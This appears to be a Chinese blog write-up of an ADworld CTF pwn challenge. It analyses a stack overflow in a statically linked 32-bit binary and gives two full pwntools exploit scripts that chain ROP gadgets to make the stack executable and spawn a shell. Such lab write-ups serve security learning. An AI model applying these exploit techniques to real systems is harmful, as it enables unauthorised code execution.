ADworld pwn wp - 250

前言

一道非典型栈溢出题目

分析过程

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp-Ch] [ebp-24h]
  char v5; // [esp-Ch] [ebp-24h]
  int v6; // [esp+Ch] [ebp-Ch] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  printf("SSCTF[InPut Data Size]", v4);
  _isoc99_scanf("%d", &v6);
  temp = malloc(v6);
  printf("SSCTF[YourData]", v5);
  read(0, temp, v6);
  puts("[Ok!]");
  print(temp, v6);
  return 0;
}

在这里插入图片描述

流程很简单, 一次输入

这里有个栈溢出漏洞, 将任意长的字符串拷贝到v3, v3是定长58, 又没开canary, 所以存在溢出

int __cdecl print(int a1, int a2)
{
  char v3[58]; // [esp+Eh] [ebp-3Ah] BYREF

  memcpy(v3, a1, a2);
  return puts(v3);
}

漏洞利用

开了NX, 没有后门, 静态编译, 所以不能ret2shellcode, ret2text, ret2libc, 几乎所有栈漏洞的打法都走不通, 那就只能用高级打法, 类似mprotect的利用方法, 修改栈可执行, 写入shellcode, 然后ret2shellcode
因为是静态编译的, 所以可用函数不少

在这里插入图片描述

找到一个有用的函数, 可以修改栈可执行, 那么利用栈溢出到这里, 修改之后再返回到shellcode的位置
不过为了调用这个函数, 需要满足ecx == libc_stack_end, 也就是[eax] == libc_stack_end, 上面有一个mov ecx, [eax]

在这里插入图片描述

如果向eax写入libc_stack_end的地址0x080EAFC8, 那么就可以绕过检测

在这里插入图片描述
找找eax的gadget
在这里插入图片描述

不过直接调用pop_eax设置eax然后返回到函数_dl_make_stack_executable的payload打不通, 这里借鉴已有的题解思路来打, 从_dl_make_stack_executable_hook调用, 设置_dl_make_stack_executable_hook的值加1, 即与原来的值不等, 这样_dl_make_stack_executable函数执行完之后返回就到ROP链继续执行, 所以需要一个gadget在ecx控制_dl_make_stack_executable_hook, 然后一个gadget使ecx加1

在这里插入图片描述
在这里插入图片描述

这里还有个点注意, 就是写入eax应该是__libc_stack_end的地址-0x18的结果, 这样+0x18之后正好是__libc_stack_end的地址, [eax]就是正好取__libc_stack_end的值
在这里插入图片描述

而这个__libc_stack_end的地址是在0x080A0B05地址处
在这里插入图片描述

这样所有的信息就收集齐了, 可以写exp

from pwn import *
from LibcSearcher import *

url, port = "111.200.241.244", 56914
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def BK():
    gdb.attach(io)
    pause()

def pwn():
    jmp_esp_addr = 0x080de2bb 
    pop_ecx_addr = 0x080df1b9
    call_make_stack_executable_addr = 0x0809A260
    _dl_make_stack_executable_hook_addr = elf.sym['_dl_make_stack_executable_hook']
    inc_dword_ecx_addr = 0x080845f8
    libc_stack_end_addr = 0x080A0B05

    payload = cyclic(0x3A) + p32(libc_stack_end_addr - 0x18) + p32(pop_ecx_addr)
    payload += p32(_dl_make_stack_executable_hook_addr) + p32(inc_dword_ecx_addr)
    payload += p32(call_make_stack_executable_addr) + p32(jmp_esp_addr) + asm(shellcraft.sh())
    # payload = payload.ljust(0x100, b"\x00")

    io.sendlineafter('SSCTF[InPut Data Size]',str(0x100))  
    io.sendlineafter("SSCTF[YourData]", payload)
    # BK()
    sleep(0.1)
    io.interactive()

if __name__ == "__main__":
    pwn()

总结

卡点

(1) 想用pop_eax直接调用函数, 但是打不通

from pwn import *
from LibcSearcher import *

url, port = "11.200.241.244", 56914
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

debug = 1
if debug:
    context.log_level="debug"
    io = process(filename)
    context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def BK():
    gdb.attach(io)
    pause()

def pwn():
    jmp_esp_addr = 0x080de2bb 
    pop_eax_addr = 0x080b89e6
    libc_stack_end_addr = 0x080EAFC8
    _dl_make_stack_executable_addr = elf.sym['_dl_make_stack_executable']

    payload = cyclic(0x3A + 4) + p32(pop_eax_addr) + p32(libc_stack_end_addr)
    payload += p32(_dl_make_stack_executable_addr) + p32(jmp_esp_addr) + asm(shellcraft.sh())
    # payload = payload.ljust(0x100, b"\x00")

    io.sendlineafter('SSCTF[InPut Data Size]',str(0x100))  
    io.sendlineafter("SSCTF[YourData]", payload)
    # BK()
    sleep(0.1)
    io.interactive()

if __name__ == "__main__":
    pwn()

之后只能用大佬的方法打通了
不过也因为不能调试, 所以找不到bug在哪
在这里插入图片描述

(2) 注意是inc [ecx], ret, 不是inc ecx, ret, 控制的是ecx中的地址的值, 不是ecx本身的值

以后遇到静态编译的题, 可以把函数表看一遍, 兴许能找到可以利用的函数

参考

https://blog.csdn.net/qq_43986365/article/details/105056413

https://blog.csdn.net/seaaseesa/article/details/104188302

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值